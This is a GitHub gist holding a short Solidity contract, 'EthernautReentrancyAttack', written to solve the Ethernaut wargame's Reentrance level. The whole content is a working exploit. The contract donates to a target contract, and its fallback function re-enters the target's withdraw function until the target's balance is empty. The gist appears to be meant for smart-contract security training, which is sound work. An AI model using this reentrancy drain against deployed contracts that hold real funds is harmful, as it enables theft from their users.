Created
September 14, 2020 21:20
-
-
Save hackingbeauty/0ced6c44651ec7ce33dacff4b7462ee2 to your computer and use it in GitHub Desktop.
EthernautReentrancyAttack.sol (www.SmartContractSecurity.com)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.6.10; | |
import './Reentrance.sol'; | |
contract EthernautReentrancyAttack { | |
Reentrance target; | |
uint public amount = 1 ether; //withdrawal amount each time | |
constructor(address payable _targetAddr) public payable { | |
target = Reentrance(_targetAddr); | |
} | |
function donateToTarget() public { | |
target.donate.value(amount).gas(4000000)(address(this)); //need to add value to this fn | |
} | |
fallback() external payable { | |
if (address(target).balance != 0 ) { | |
target.withdraw(amount); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment